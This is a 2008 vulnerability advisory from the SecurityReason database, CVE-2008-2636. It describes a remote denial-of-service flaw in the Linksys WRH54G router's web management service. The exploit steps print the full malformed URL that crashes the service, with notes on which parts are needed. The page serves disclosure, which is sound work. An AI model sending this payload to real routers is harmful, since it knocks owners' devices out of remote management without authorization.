|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | Remote DoS vulnerability in Linksys WRH54G
|
SecurityAlert : 3929
CVE : CVE-2008-2636
CWE : CWE-20
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : Yes
Credit : dubingyao
Published : 11.06.2008
Affected Software : | Cisco, Linksys_wrh54g_router, 1.01.03 |
 Advisory Content : 1. DESCRIPTION
There is a DoS vulnerability in Cisco Linksys router WRH54G http service.
Any anonymous attacker could crash the http service easily by sending a
malformed http request, and needn't any privilege.
When the device attempts to process the malformed request, it will be
possible to corrupt sensitive memory. Although unconfirmed, it may also be
possible to modify various configuration settings or execute malicious
code.
After being attacked, Cisco Linksys router can't be accessed remotely by
any user. Http service is not recovered and the attacked router can not be
managed without a hard reboot. A reboot of router may cause network
disconnected.
Further more, the firewall can still route packets.
2. Affected products and versions
Affected products:
Cisco Linksys WRH54G and other devices
(bacause I have no enough other Linksys routers in hand, I can't make sure
how many devices this vulnerability can effect.)
Affected versions:
The lasted Firmware v1.01.03
If Need any privilege:
No
3. ANALYSIS
A malformed http request can cause the http service crashed. The malformed
request is mixed by string ./ and overly charactors. Its format is as
follows:
Http://192.168.1.1/./front_page......front_page.asp
4. EXPLOIT STEPS
4.1 Make sure the router is running normally, and the Web server is right.
4.2 Open the explorer, type following malformed URL, and press ENTER:
http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront
_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront
_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront
_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.
asp
4.3 Check the http service, it can't work.
Note:
1. The string ./ in malformed request is necessary. Lack of this string,
the http server will ask the anonymous to input auth information.
2. the string .asp in the end of malformed request is also necessary. Lack
of this string, we can not crash the http server.
3. The firmware information could be found at:
http://www-cn.linksys.com/servlet/Satellite?childpagename=CN%2FLayout&pa
ckedargs=page%3D2%26cid%3D1140648553423%26c%3DL_Content_C1&pagename=Link
sys%2FCommon%2FVisitorWrapper&SubmittedElement=Linksys%2FFormSubmit%2FPr
oductDownloadSearch&sp_prodsku=1172713275887
4. There is another DoS vulnerability about malformed http request in
Linksys devices(http://www.securityfocus.com/bid/6301/info).
The description and explit are different from this vulnerability.
References :
http://xforce.iss.net/xforce/xfdb/42890
http://www.securityfocus.com/archive/1/archive/1/493129/100/0/threaded
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|